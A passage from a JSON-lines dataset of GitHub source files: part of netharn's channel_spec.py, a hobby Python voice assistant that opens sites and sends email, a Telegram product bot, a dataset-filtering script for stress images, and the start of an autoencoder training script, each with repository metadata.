item_shapes[mode_key] = shape\n return item_shapes\n\n def _demo_item(self, dims=(4, 4), rng=None):\n \"\"\"\n Create an input that satisfies this spec\n\n Returns:\n dict: an item like it might appear when its returned from the\n `__getitem__` method of a :class:`torch...Dataset`.\n\n Example:\n >>> dims = (1, 1)\n >>> ChannelSpec.coerce(3)._demo_item(dims, rng=0)\n >>> ChannelSpec.coerce('r|g|b|disaprity')._demo_item(dims, rng=0)\n >>> ChannelSpec.coerce('rgb|disaprity')._demo_item(dims, rng=0)\n >>> ChannelSpec.coerce('rgb,disaprity')._demo_item(dims, rng=0)\n >>> ChannelSpec.coerce('rgb')._demo_item(dims, rng=0)\n >>> ChannelSpec.coerce('gray')._demo_item(dims, rng=0)\n \"\"\"\n import torch\n import kwarray\n rng = kwarray.ensure_rng(rng)\n item_shapes = self._item_shapes(dims)\n item = {\n key: torch.from_numpy(rng.rand(*shape))\n for key, shape in item_shapes.items()\n }\n return item\n\n def encode(self, item, axis=0, impl=1):\n \"\"\"\n Given a dictionary containing preloaded components of the network\n inputs, build a concatenated (fused) network representations of each\n input stream.\n\n Args:\n item (Dict[str, Tensor]): a batch item containing unfused parts.\n each key should be a single-stream (optionally early fused)\n channel key.\n axis (int, default=0): concatenation dimension\n\n Returns:\n Dict[str, Tensor]:\n mapping between input stream and its early fused tensor input.\n\n Example:\n >>> import torch\n >>> dims = (4, 4)\n >>> item = {\n >>> 'rgb': torch.rand(3, *dims),\n >>> 'disparity': torch.rand(1, *dims),\n >>> 'flowx': torch.rand(1, *dims),\n >>> 'flowy': torch.rand(1, *dims),\n >>> }\n >>> # Complex Case\n >>> self = ChannelSpec('rgb,disparity,rgb|disparity|flowx|flowy,flowx|flowy')\n >>> fused = self.encode(item)\n >>> input_shapes = ub.map_vals(lambda x: x.shape, fused)\n >>> print('input_shapes = {}'.format(ub.repr2(input_shapes, nl=1)))\n >>> # Simpler case\n >>> self = ChannelSpec('rgb|disparity')\n >>> fused = self.encode(item)\n >>> input_shapes = ub.map_vals(lambda x: x.shape, fused)\n >>> print('input_shapes = {}'.format(ub.repr2(input_shapes, nl=1)))\n\n Example:\n >>> # Case where we have to break up early fused data\n >>> from netharn.data.channel_spec import * # NOQA\n >>> import torch\n >>> dims = (40, 40)\n >>> item = {\n >>> 'rgb|disparity': torch.rand(4, *dims),\n >>> 'flowx': torch.rand(1, *dims),\n >>> 'flowy': torch.rand(1, *dims),\n >>> }\n >>> # Complex Case\n >>> self = ChannelSpec('rgb,disparity,rgb|disparity,rgb|disparity|flowx|flowy,flowx|flowy,flowx,disparity')\n >>> inputs = self.encode(item)\n >>> input_shapes = ub.map_vals(lambda x: x.shape, inputs)\n >>> print('input_shapes = {}'.format(ub.repr2(input_shapes, nl=1)))\n\n >>> # xdoctest: +REQUIRES(--bench)\n >>> #self = ChannelSpec('rgb|disparity,flowx|flowy')\n >>> import timerit\n >>> ti = timerit.Timerit(100, bestof=10, verbose=2)\n >>> for timer in ti.reset('impl=simple'):\n >>> with timer:\n >>> inputs = self.encode(item, impl=0)\n >>> for timer in ti.reset('impl=minimize-concat'):\n >>> with timer:\n >>> inputs = self.encode(item, impl=1)\n\n import xdev\n _ = xdev.profile_now(self.encode)(item, impl=1)\n \"\"\"\n import torch\n parsed = self.parse()\n # unique = self.unique()\n\n # TODO: This can be made much more efficient by determining if the\n # channels item can be directly translated to the result inputs. We\n # probably don't need to do the full decoding each and every time.\n\n if impl == 1:\n # Slightly more complex implementation that attempts to minimize\n # concat operations.\n item_keys = tuple(sorted(item.keys()))\n parsed_items = tuple(sorted([(k, tuple(v)) for k, v in parsed.items()]))\n new_fused_indices = _cached_single_fused_mapping(item_keys, parsed_items, axis=axis)\n\n fused = {}\n for key, idx_list in new_fused_indices.items():\n parts = [item[item_key][item_sl] for item_key, item_sl in idx_list]\n if len(parts) == 1:\n fused[key] = parts[0]\n else:\n fused[key] = torch.cat(parts, dim=axis)\n elif impl == 0:\n # Simple implementation that always does the full break down of\n # item components.\n components = {}\n # Determine the layout of the channels in the input item\n key_specs = {key: ChannelSpec(key) for key in item.keys()}\n for key, spec in key_specs.items():\n decoded = spec.decode({key: item[key]}, axis=axis)\n for subkey, subval in decoded.items():\n components[subkey] = subval\n\n fused = {}\n for key, parts in parsed.items():\n fused[key] = torch.cat([components[k] for k in parts], dim=axis)\n else:\n raise KeyError(impl)\n\n return fused\n\n def decode(self, inputs, axis=1):\n \"\"\"\n break an early fused item into its components\n\n Args:\n inputs (Dict[str, Tensor]): dictionary of components\n\n Example:\n >>> import torch\n >>> dims = (4, 4)\n >>> components = {\n >>> 'rgb': torch.rand(3, *dims),\n >>> 'ir': torch.rand(1, *dims),\n >>> }\n >>> self = ChannelSpec('rgb|ir')\n >>> inputs = self.encode(components)\n >>> from netharn.data import data_containers\n >>> item = {k: data_containers.ItemContainer(v, stack=True)\n >>> for k, v in inputs.items()}\n >>> batch = data_containers.container_collate([item, item])\n >>> components = self.decode(batch)\n \"\"\"\n parsed = self.parse()\n components = dict()\n for key, parts in parsed.items():\n idx1 = 0\n for part in parts:\n size = self._size_lut.get(part, 1)\n idx2 = idx1 + size\n fused = inputs[key]\n index = ([slice(None)] * axis + [slice(idx1, idx2)])\n component = fused[index]\n components[part] = component\n idx1 = idx2\n return components\n\n def component_indices(self, axis=2):\n \"\"\"\n Look up component indices within fused streams\n\n Example:\n >>> import torch\n >>> dims = (4, 4)\n >>> inputs = ['flowx', 'flowy', 'disparity']\n >>> self = ChannelSpec('disparity,flowx|flowy')\n >>> component_indices = self.component_indices()\n >>> print('component_indices = {!r}'.format(component_indices))\n \"\"\"\n parsed = self.parse()\n component_indices = dict()\n for key, parts in parsed.items():\n idx1 = 0\n for part in parts:\n size = self._size_lut.get(part, 1)\n idx2 = idx1 + size\n index = ([slice(None)] * axis + [slice(idx1, idx2)])\n idx1 = idx2\n component_indices[part] = (key, index)\n return component_indices\n\n\n@functools.lru_cache(maxsize=None)\ndef _cached_single_fused_mapping(item_keys, parsed_items, axis=0):\n item_indices = {}\n for key in item_keys:\n key_idxs = _cached_single_stream_idxs(key, axis=axis)\n for subkey, subsl in key_idxs.items():\n item_indices[subkey] = subsl\n\n fused_indices = {}\n for key, parts in parsed_items:\n fused_indices[key] = [item_indices[k] for k in parts]\n\n new_fused_indices = {}\n for key, idx_list in fused_indices.items():\n # Determine which continguous slices can be merged into a\n # single slice\n prev_key = None\n prev_sl = None\n\n accepted = []\n accum = []\n for item_key, item_sl in idx_list:\n if prev_key == item_key:\n if prev_sl.stop == item_sl[-1].start and prev_sl.step == item_sl[-1].step:\n accum.append((item_key, item_sl))\n continue\n if accum:\n accepted.append(accum)\n accum = []\n prev_key = item_key\n prev_sl = item_sl[-1]\n accum.append((item_key, item_sl))\n if accum:\n accepted.append(accum)\n accum = []\n\n # Merge the accumulated contiguous slices\n new_idx_list = []\n for accum in accepted:\n if len(accum) > 1:\n item_key = accum[0][0]\n first = accum[0][1]\n last = accum[-1][1]\n new_sl = list(first)\n new_sl[-1] = slice(first[-1].start, last[-1].stop, last[-1].step)\n new_idx_list.append((item_key, new_sl))\n else:\n new_idx_list.append(accum[0])\n new_fused_indices[key] = new_idx_list\n return new_fused_indices\n\n\n@functools.lru_cache(maxsize=None)\ndef _cached_single_stream_idxs(key, axis=0):\n \"\"\"\n hack for speed\n\n axis = 0\n key = 'rgb|disparity'\n\n # xdoctest: +REQUIRES(--bench)\n import timerit\n ti = timerit.Timerit(100, bestof=10, verbose=2)\n for timer in ti.reset('time'):\n with timer:\n _cached_single_stream_idxs(key, axis=axis)\n for timer in ti.reset('time'):\n with timer:\n ChannelSpec(key).component_indices(axis=axis)\n \"\"\"\n # concat operations.\n key_idxs = ChannelSpec(key).component_indices(axis=axis)\n return key_idxs\n\n\ndef subsequence_index(oset1, oset2):\n \"\"\"\n Returns a slice into the first items indicating the position of\n the second items if they exist.\n\n This is a variant of the substring problem.\n\n Returns:\n None | slice\n\n Example:\n >>> oset1 = ub.oset([1, 2, 3, 4, 5, 6])\n >>> oset2 = ub.oset([2, 3, 4])\n >>> index = subsequence_index(oset1, oset2)\n >>> assert index\n\n >>> oset1 = ub.oset([1, 2, 3, 4, 5, 6])\n >>> oset2 = ub.oset([2, 4, 3])\n >>> index = subsequence_index(oset1, oset2)\n >>> assert not index\n \"\"\"\n if len(oset2) == 0:\n base = 0\n else:\n item1 = oset2[0]\n try:\n base = oset1.index(item1)\n except (IndexError, KeyError):\n base = None\n\n index = None\n if base is not None:\n sl = slice(base, base + len(oset2))\n subset = oset1[sl]\n if subset == oset2:\n index = sl\n return index\n\n\ndef oset_insert(self, index, obj):\n \"\"\"\n self = ub.oset()\n oset_insert(self, 0, 'a')\n oset_insert(self, 0, 'b')\n oset_insert(self, 0, 'c')\n oset_insert(self, 1, 'd')\n oset_insert(self, 2, 'e')\n oset_insert(self, 0, 'f')\n \"\"\"\n if obj not in self:\n # Bump index of every item after the insert position\n for key in self.items[index:]:\n self.map[key] = self.map[key] + 1\n self.items.insert(index, obj)\n self.map[obj] = index\n\n\ndef oset_delitem(self, index):\n \"\"\"\n for ubelt oset, todo contribute back to luminosoinsight\n\n >>> self = ub.oset([1, 2, 3, 4, 5, 6, 7, 8, 9])\n >>> index = slice(3, 5)\n >>> oset_delitem(self, index)\n\n self = ub.oset(['r', 'g', 'b', 'disparity'])\n index = slice(0, 3)\n oset_delitem(self, index)\n\n \"\"\"\n if isinstance(index, slice) and index == ub.orderedset.SLICE_ALL:\n self.clear()\n else:\n if ub.orderedset.is_iterable(index):\n to_remove = [self.items[i] for i in index]\n elif isinstance(index, slice) or hasattr(index, \"__index__\"):\n to_remove = self.items[index]\n else:\n raise TypeError(\"Don't know how to index an OrderedSet by %r\" % index)\n\n if isinstance(to_remove, list):\n # Modified version of discard slightly more efficient for multiple\n # items\n remove_idxs = sorted([self.map[key] for key in to_remove], reverse=True)\n\n for key in to_remove:\n del self.map[key]\n\n for idx in remove_idxs:\n del self.items[idx]\n\n for k, v in self.map.items():\n # I think there is a more efficient way to do this?\n num_after = sum(v >= i for i in remove_idxs)\n if num_after:\n self.map[k] = v - num_after\n else:\n self.discard(to_remove)\n\nif __name__ == '__main__':\n \"\"\"\n CommandLine:\n python ~/code/netharn/netharn/data/channel_spec.py all\n \"\"\"\n import xdoctest\n xdoctest.doctest_module(__file__)\n","repo_name":"Kitware/netharn","sub_path":"netharn/data/channel_spec.py","file_name":"channel_spec.py","file_ext":"py","file_size_in_byte":21617,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"37526550791","text":"#First lets start with installing some modules\r\n\r\n\r\nimport pyttsx3 #pip install pyttsx3 #python library which will help us to convert text to speech. In short, it is a text-to-speech library\r\nimport datetime # its inbuilt python module no need to install\r\nimport speech_recognition as sr #pip install speechRecognition\r\nimport wikipedia #pip install wikipedia\r\nimport webbrowser #inbuilt module\r\nimport os #inbuilt module\r\nimport smtplib #inbuilt module\r\n\r\n\r\n\r\n'''\r\nIF YOU ARE UNABLE TO INSTALL SPEECH RECOGNITION MODULE USING THE FOLLOWING COMMAND THEN DO FOLLOW THESE STEPS:-\r\npip install pipwin\r\npipwin install PyAudio\r\n\r\nuse a good microphone or it not gonna recognize \r\nfor better recognition change the voice threshould\r\n\r\n'''\r\n\r\n\r\n \r\n\r\n\r\nengine = pyttsx3.init('sapi5') #Speech API developed by Microsoft,which helps in recognition of voice\r\nvoices= engine.getProperty('voices') \r\n#print(voices[1].id)\r\nengine.setProperty('voice', voices[1].id) \r\n\r\n\r\n\r\n\r\n'''\r\nVoice id helps us to select different voices.\r\nvoice[0].id = Male voice \r\nvoice[1].id = Female voice\r\n\r\n'''\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef speak(audio): #it can convert our text to speech.\r\n engine.say(audio) #will start speaking\r\n engine.runAndWait() #u can change the threshold values from here just ctrl+right click. u can change the delay time of listening and recognition and voice command control and so on\r\n\r\n\r\ndef wishme():# LOL, this will only wish au according to your system time\r\n hour = int(datetime.datetime.now().hour) #importing hour in 24 hr format,but the AI can convert according to the system time\r\n if hour>=0 and hour<12: #we have stored the integer value of the current hour or time into a variable named hour. Now, we will use this hour value inside an if-else loop.\r\n speak(\"Good Morning!\")\r\n\r\n elif hour>=12 and hour<18:\r\n speak(\"Good Afternoon!\") \r\n\r\n else:\r\n speak(\"Good Evening!\") \r\n\r\n speak(\" Hi I am Spikey. How may I help you\") #perma\r\n\r\ndef takeCommand(): #Before defining the takeCommand() function, we need to install a module called speechRecognition\r\n #it takes microphone input from the user and returns string op\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening...\")\r\n r.pause_threshold = 1\r\n audio = r.listen(source)\r\n try:\r\n print(\"Recognizing...\") \r\n query = r.recognize_google(audio, language='en-in') #Using google for voice recognition.\r\n print(f\"User said: {query}\\n\") \r\n\r\n except Exception as e:\r\n # print(e) #just testing either it works or not\r\n print(\"Say that again please...\") #error occurs when there is any distortion in voice\r\n return \"None\" #it will return none if Cypher doesn't detects anything or if there is some error in it.\r\n return query\r\n\r\ndef sendEmail(to,content):#An instance method called sendmail is present in the SMTP module. This instance method allows us to send an email. \r\n server = smtplib.SMTP('smtp.gmail,com',587)#SMTP is a protocol that allows us to send emails and to route emails between mail servers.\r\n server.ehlo()\r\n server.starttls()\r\n server.login('yourmailid', 'yourpassword') #use your own id and password either it not gonna send any mail.\r\n server.sendmail('yourmailid', to, content) #your mail id is needed, the person who will receive the content is written in try block check that out\r\n server.close()#dont forget to enable the less secure app in your mail security,either it not gonna sendEmail \r\nif __name__ == '__main__': #Whatever you will write inside this speak() function will be converted into speech\r\n # speak(\"satya is noice af\")\r\n wishme()\r\n #while True: #if i use while true then this program will never exit and keep on going for infinite times \r\n if 1: #i used if(1): becoz at a time only 1 task will be done\r\n query = takeCommand().lower()#i took lower because the urls are mostly in that cases\r\n\r\n #LOGIC\r\n if 'wikipedia' in query: #if wikipedia found in the query then this block will be executed similarly for others\r\n speak('Searching Wikipedia....')\r\n query = query.replace(\"wikipedia\",\"\")\r\n results = wikipedia.summary(query,sentences=2)\r\n speak(\"According to wikipedia\")\r\n print(results)\r\n speak(results)\r\n\r\n\r\n elif 'open youtube' in query:\r\n webbrowser.open(\"youtube.com\")\r\n\r\n elif 'open google' in query:\r\n webbrowser.open(\"google.com\")\r\n\r\n elif 'open facebook' in query:\r\n webbrowser.open(\"facebook.com\")\r\n\r\n elif ' play music' in query: #locate your directory in os \r\n music_direc = \"D:\\\\musics\"\r\n musics=os.listdir(music_direc)\r\n print(musics)\r\n os.startfile(os.path.join(music_direc,musics[0]))\r\n \r\n elif 'the time' in query:\r\n strTime=datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n speak(f\"Sir, the time is {strTime}\")\r\n\r\n elif 'open pycharm' in query:\r\n codePath =\"G:\\PyCharm Community Edition 2020.1.2\\bin\\pycharm64.exe\"\r\n os.startfile(codePath)\r\n\r\n elif 'email to satya' in query:\r\n try:\r\n speak(\"What should i say?\")\r\n content = takeCommand()\r\n to = \"yourfriend's mail id\" #the person to whom you gonna send it.\r\n sendEmail(to,content)\r\n speak(\"Email has been sent\")\r\n except Exception as e:\r\n print(e)\r\n speak(\"i am sorry, i not able to send this email at this moment\")\r\n\r\n","repo_name":"SP2224/Spikey---A-mini-Virtual-Assistance","sub_path":"spikey.py","file_name":"spikey.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"19070100255","text":"from TOKEN import bot\r\nfrom BUTTONs import Keyboard\r\nfrom database import query\r\nfrom pars import pars\r\n\r\n\r\nkeyboard = Keyboard()\r\n\r\n\r\n@bot.message_handler(commands=['start'])\r\ndef start(message):\r\n markup = keyboard.start_keyboard()\r\n bot.send_message(message.from_user.id, \"Добро пожаловать в GenshinAli!\"\r\n \" Выбери категорию товаров, которая тебя интересует.\", reply_markup=markup)\r\n\r\n\r\n@bot.message_handler(content_types=['text'])\r\ndef char_list(message):\r\n markup = keyboard.char_list()\r\n type_prod_list = query.execute(\"\"\" SELECT name FROM product_type \"\"\").fetchall()\r\n bn_t = keyboard.get_btn_name(type_prod_list)\r\n char_name = query.execute(\"\"\" SELECT name FROM character \"\"\").fetchall()\r\n bn_n = keyboard.get_btn_name(char_name)\r\n global type\r\n\r\n for elm in bn_t:\r\n if message.text == elm:\r\n bot.send_message(message.from_user.id, \"Выбери персонажа, товары с которым тебя интересуют. Или напиши его имя боту.\",\r\n reply_markup=markup)\r\n type = elm\r\n print(type)\r\n\r\n for el in bn_n:\r\n if message.text == el:\r\n enter_data = []\r\n enter_data.append(el)\r\n enter_data.append(type)\r\n print(type)\r\n show_prod = query.execute(\"\"\" SELECT name, link FROM product WHERE char=? and type=? \"\"\", enter_data).fetchall()\r\n prod = keyboard.get_prod(show_prod)\r\n print(prod)\r\n if len(prod) > 0:\r\n for pr in prod:\r\n print(pr)\r\n img, prise = pars(pr[1])\r\n label = pr[0] + '\\n\\n' + 'Цена: ' + prise + '\\n\\n' + 'Ссылка на товар: ' + pr[1]\r\n bot.send_photo(message.from_user.id, img, caption=label)\r\n else:\r\n bot.send_message(message.from_user.id, \"К сожалению товаров с данным персонажем не найдено :(\")\r\n\r\n if message.text == 'Назад':\r\n start(message)\r\n elif message.text == 'Посмотреть все':\r\n tp = []\r\n tp.append(type)\r\n all_prod = query.execute(\"\"\" SELECT name, link FROM product WHERE type=? \"\"\", tp).fetchall()\r\n prod = keyboard.get_prod(all_prod)\r\n for pr in prod:\r\n img, prise = pars(pr[1])\r\n label = pr[0] + '\\n\\n' + 'Цена: ' + prise + '\\n\\n' + 'Ссылка на товар: ' + pr[1]\r\n bot.send_photo(message.from_user.id, img, caption=label)\r\n\r\n\r\nif __name__ == '__main__':\r\n bot.polling(none_stop=True, interval=0)","repo_name":"Novak1656/GenAli","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19718457651","text":"import os\nimport torch\nfrom torch import nn, optim\nfrom torch.autograd import Variable\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.nn.functional as F\n\nfrom math import sqrt\n\nimport VisualizationFunction2 as VF\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# from IPython import get_ipython\n\n\n\n\n# ========================= PARAMETERS ========================================\nplot_step_images = False\nsave_PDF_all_data = True\ncreate_best_data = False\nselect_data = False\n\ndevice = torch.device('cpu')\nimg_size = 64\ndataset = '14_MediumShapeBEST'\n\n\n# =========================== PREPARE DATA ====================================\nLabels = torch.from_numpy(np.load('./DATA/' + dataset + '/Labels_DataSet.npy'))\nInputs = torch.from_numpy(np.load('./DATA/' + dataset + '/Inputs_DataSet.npy'))\n\n#Inputs = Variable(Inputs.float()).to(device)\n#Labels = Variable(Labels.float()).to(device)\n\ninputs = Inputs.view(Inputs.size(0), Inputs.size(3), Inputs.size(4))\nlabels = Labels.view(Labels.size(0), Labels.size(3), Labels.size(4))\n\n\n# ===================== CALCULATE SUM OF THE LABELS ===========================\nlabels_sum = np.zeros((Labels.size(0), 2))\nonly_labels_sum = np.zeros((Labels.size(0), 1))\nfor i in range(Labels.size(0)):\n temp_img = labels[i, :, :]\n img = temp_img.numpy()\n sum_img = np.sum(img)\n labels_sum[i, 0] = i\n labels_sum[i, 1] = int(sum_img)\n only_labels_sum[i] = int(sum_img)\n \n \n# =============================== VISUALIZE ===================================\nlabels_sum = np.array(labels_sum)\nlabels_sum_sorted = labels_sum[labels_sum[:,1].argsort()]\n\ndata = (labels_sum_sorted[:,1]).tolist()\nindex = list(range(Labels.size(0)))\n#plt.xlabel('index of the image')\n#plt.ylabel('Sum of one image (64x64)')\nplt.title('Check Data')\nplt.plot(index, data)\nplt.savefig('plot.svg')\n\n\n# =========================== PLOT IMAGES =====================================\n# get indexes of the images\nif plot_step_images == True:\n \n idx_0 = only_labels_sum.tolist().index([0.0])\n idx_1 = only_labels_sum.tolist().index([10003.0])\n idx_2 = only_labels_sum.tolist().index([20001.0])\n idx_3 = only_labels_sum.tolist().index([50025.0])\n idx_4 = only_labels_sum.tolist().index([245064.0])\n \n \n data_numbers = [idx_0, idx_1, idx_2, idx_3, idx_4]\n sum_of_img = [0, 10003, 20001, 50025, 245064]\n \n fig, ax = plt.subplots(figsize=(12,5), ncols=len(data_numbers), nrows=1)\n \n for i in range(len(data_numbers)):\n out = labels[data_numbers[i], :, :]\n temp_out = (Variable(out).data).cpu().numpy()\n ax[i].imshow(temp_out.T, extent=(0, img_size, 0, img_size), origin=sum_of_img[i])\n # ax[i].set_xlabel('sum_{}'.format(sum_of_img[i]))\n ax[i].xaxis.set_label_text('sum_{}'.format(sum_of_img[i]))\n # ax[i].axis('off')\n ax[i].set_title('label idx_{}'.format(data_numbers[i]))\n \n \n \n # adjust image\n w = int(26 / 2.5) # 30\n h = int(12 / 2.5) # 10\n fig.set_size_inches(w,h)\n \n #plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n plt.subplots_adjust(top = 0.8)\n \n fig.savefig('check_labels.svg')\n\n\n# ===================== PLOT MATRIX WITH LABELS ===============================\nif save_PDF_all_data == True:\n\n data_numbers = labels_sum_sorted[:,0]\n data_numbers = data_numbers.astype(np.int64)\n sum_of_img = labels_sum_sorted[:,1]\n sum_of_img = sum_of_img.astype(np.int64)\n \n ncols = 10\n nrows = 10\n n = 0\n \n for batch in range(100):\n \n # data_numbers = data_numbers[batch:batch+(ncols*nrows)]\n # sum_of_img = sum_of_img[batch:batch+(ncols*nrows)]\n \n fig, ax = plt.subplots(figsize=(12,5), ncols=ncols, nrows=nrows)\n \n for i in range (nrows):\n for j in range(ncols):\n out = inputs[data_numbers[n], :, :]\n temp_out = (Variable(out).data).cpu().numpy()\n ax[i][j].imshow(temp_out.T, extent=(0, img_size, 0, img_size), origin='1')\n ax[i][j].set_axis_off()\n ax[i][j].set_title('images idx_{}'.format(data_numbers[n]))\n ax[i][j].set_xlabel(str(sum_of_img[n]))\n n += 1\n \n \n # adjust image\n w = int(100 / 2.5) # 30\n h = int(100 / 2.5) # 10\n fig.set_size_inches(w,h)\n \n plt.tight_layout(pad=0.4, w_pad=0.5, h_pad=1.0)\n plt.subplots_adjust(top = 0.8)\n \n if not os.path.exists('./LABELS_14'):\n os.mkdir('./LABELS_14')\n \n fig.savefig('./LABELS_14/all_images_' + str(batch) + '.pdf')\n \n print(str(batch) + '%')\n print('DONE!')\n\n\n\n# ========================== CREATE NEW DATA ==================================\nif create_best_data == True:\n \n new_Inputs = np.load('./DATA/' + dataset + '/Inputs_DataSet.npy')\n new_Labels = np.load('./DATA/' + dataset + '/Labels_DataSet.npy')\n new_Params = np.load('./DATA/' + dataset + '/Params_DataSet.npy')\n new_FixLoad = np.load('./DATA/' + dataset + '/FixLoads_DataSet.npy')\n \n new_indexes = labels_sum_sorted[1000:, 0]\n new_indexes = new_indexes.astype(np.int64)\n \n Inputs2 = np.zeros((9000, 1, 1, 64, 64))\n Labels2 = np.zeros((9000, 1, 1, 64, 64))\n Params2 = np.zeros((9000, 5, 6))\n FixLoad2 = np.zeros((9000, 5, 4))\n \n test = np.zeros((9000, 1))\n \n n = 0\n for i in range(10000):\n if i in new_indexes:\n Inputs2[n,:,:,:,:] = new_Inputs[i, :, :, :, :]\n Labels2[n,:,:,:,:] = new_Labels[i, :, :, :, :]\n Params2[n,:,:] = new_Params[i, :, :]\n FixLoad2[n,:,:] = new_FixLoad[i, :, :]\n # test[n,0] = i\n n += 1\n else:\n pass\n \n \n new_dataset = '14_MediumShapeBEST'\n ImageFile = './DATA/' + new_dataset + '/Inputs_DataSet'\n LabelFile = './DATA/' + new_dataset + '/Labels_DataSet'\n ParamFile = './DATA/' + new_dataset + '/Params_DataSet'\n FixLoadFile = './DATA/' + new_dataset + '/FixLoads_DataSet'\n \n np.save(ImageFile, Inputs2)\n np.save(LabelFile, Labels2)\n np.save(ParamFile, Params2)\n np.save(FixLoadFile, FixLoad2)\n \n \n new_Inputs, new_Labels = VF.X_and_Y_channels(Inputs2, Labels2, img_size)\n np.save('./DATA/' + new_dataset + '/Inputs_3', new_Inputs)\n np.save('./DATA/' + new_dataset + '/Labels_3', new_Labels)\n\n\n# ========================= Treat Data ========================================\ndef treat_data(Images, Labels, Shapes, FixLoads):\n compt = 0\n# # REMOVE WHEN Labels != 0 different to Shape\n# for i in range(10000):\n# X0 = (Labels[i,0,0] ==0 ).float()\n# if not torch.equal( X0 +Shapes[i,0,0].float(), torch.ones(64,64)):\n# Labels[i] = Labels[i-10]\n# Images[i] = Images[i-10]\n# Shapes[i] = Shapes[i-10]\n# FixLoads[i] = FixLoads[i-10]\n#\n# compt +=1\n#\n# # REMOVE WHEN Shape to small\n# for i in range(10000):\n# if Shapes[i,0,0].sum() <200.0:\n#\n# Labels[i] = Labels[i-10]\n# Images[i] = Images[i-10]\n# Shapes[i] = Shapes[i-10]\n# FixLoads[i] = FixLoads[i-10]\n#\n# compt +=1\n# # REMOVE WHEN STRESS TOO SMALL\n# for i in range(10000):\n# if Labels[i,0,0].sum() <2000.0:\n# Labels[i] = Labels[i-10]\n# Images[i] = Images[i-10]\n# Shapes[i] = Shapes[i-10]\n# FixLoads[i] = FixLoads[i-10]\n#\n# compt +=1\n#\n#\n# for i in range(10000):\n# if Labels[i,0,0].sum() >60000.0:\n# Labels[i] = Labels[i-10]\n# Images[i] = Images[i-10]\n# Shapes[i] = Shapes[i-10]\n#\n# compt +=1\n# \n for i in range(8000):\n label_max = np.amax((Labels[i,0,0]).cpu().data.numpy())\n if label_max > 5000:\n Labels[i] = Labels[i-10]\n Images[i] = Images[i-10]\n Shapes[i] = Shapes[i-10]\n FixLoads[i] = FixLoads[i-10]\n\n# # REMOVE PLUS 20 TO THE STRESS DISTRIBUTION TO WELL DIFFERENCIATE WITH THE OUTPUT\n# for i in range(10000):\n# Labels[i,0,0].float()+X0*20\n# \n#\n# # add 100 to stress in the place where is the Shape\n# Labels = Labels + (Shapes * 50)\n\n\n #list_to_shuffle = torch.randperm(10000)\n #Labels = Labels[list_to_shuffle]\n #Images = Images[list_to_shuffle]\n #Shapes = Shapes[list_to_shuffle]\n print(\"DATA TREATED ! {}% of the data removed\".format(compt/10000*100))\n return Images, Labels, Shapes, FixLoads\n\nif select_data == True:\n\n Images = torch.from_numpy(np.load('./DATA/10_diffShapesBEST/Params_DataSet.npy'))\n Labels = torch.from_numpy(np.load('./DATA/10_diffShapesBEST/Labels_DataSet.npy'))\n Shapes = torch.from_numpy(np.load('./DATA/10_diffShapesBEST/Inputs_DataSet.npy'))\n FixLoads = torch.from_numpy(np.load('./DATA/10_diffShapesBEST/FixLoads_DataSet.npy'))\n \n Params2, Labels2, Inputs2, FixLoads2 = treat_data(Images, Labels, Shapes, FixLoads)\n \n np.save('./DATA/10_diffShapesBEST/Inputs_DataSet.npy', Inputs2.cpu().numpy())\n np.save('./DATA/10_diffShapesBEST/Labels_DataSet.npy', Labels2.cpu().numpy())\n np.save('./DATA/10_diffShapesBEST/Params_DataSet.npy', Params2.cpu().numpy())\n np.save('./DATA/10_diffShapesBEST/FixLoads_DataSet.npy', FixLoads2.cpu().numpy())","repo_name":"marcin-laskowski/Exploring-Design-Spaces","sub_path":"Neural_Networks/help_check_data.py","file_name":"help_check_data.py","file_ext":"py","file_size_in_byte":9338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"10381279211","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom torch.utils.data.dataset import Dataset\nfrom torchvision import transforms\n\nimport argparse\nimport sys\nimport glob\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom fcts.load_data import load_data, IconDataset\nfrom fcts.architectures import *\n\nfrom tqdm import tqdm\n\n\n##############\n# PARSER #\n##############\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--outpath', required=True, type=str, help='path to store trained models to.')\nparser.add_argument('--architecture', required=True, type=str, help='resnet32 | dcgan32 | baseline')\nparser.add_argument('--batchSize', type=int, default=128, help='input batch size, default=128')\nparser.add_argument('--imageSize', type=int, default=32, help='the height / width of the input image to network, default=32')\nparser.add_argument('--nf', type=int, default=64, help='number of filters for DCGAN and RESNET architectures, default=64')\nparser.add_argument('--nz', type=int, default=32, help='size of the latent z vector, default=32')\nparser.add_argument('--niter', type=int, default=10, help='number of epochs to train for, default=10')\nparser.add_argument('--lr', type=float, default=0.0002, help='learning rate, default=0.0002')\nparser.add_argument('--grayscale', type=bool, default=False, help='Use grayscale images? default=False')\nparser.add_argument('--nimages', type=int, default=50000, help='Number of images to use for training. default=50 000')\nparser.add_argument('--layerSizes', help='Size of encoder and decoder layers. Only if using baseline architecture',\n default={'encoder': [512, 256], 'decoder': [256, 512]})\n\nopt = parser.parse_args()\nprint(opt)\n\nimg_size = opt.imageSize\n\narchitecture_dict = {'resnet32': (EncoderRESNET32, DecoderRESNET32),\n 'dcgan32': (EncoderDCGAN32, DecoderDCGAN32),\n 'baseline': (EncoderBaseline, DecoderBaseline)}\nnc = 3 if not opt.grayscale else 1\nassert opt.architecture in architecture_dict.keys(), \\\n \"\\nEXIT. Please specify one of the given architectures. See options using 'python train.py -h'\"\narchitecture = architecture_dict[opt.architecture]\n\nif opt.architecture == 'baseline':\n assert isinstance(opt.layerSizes, dict), 'layer sizes have to be in a dictionary.'\n layer_sizes = {'encoder': [nc*img_size**2, *opt.layerSizes['encoder']],\n 'decoder': [*opt.layerSizes['decoder'], nc*img_size**2]}\n 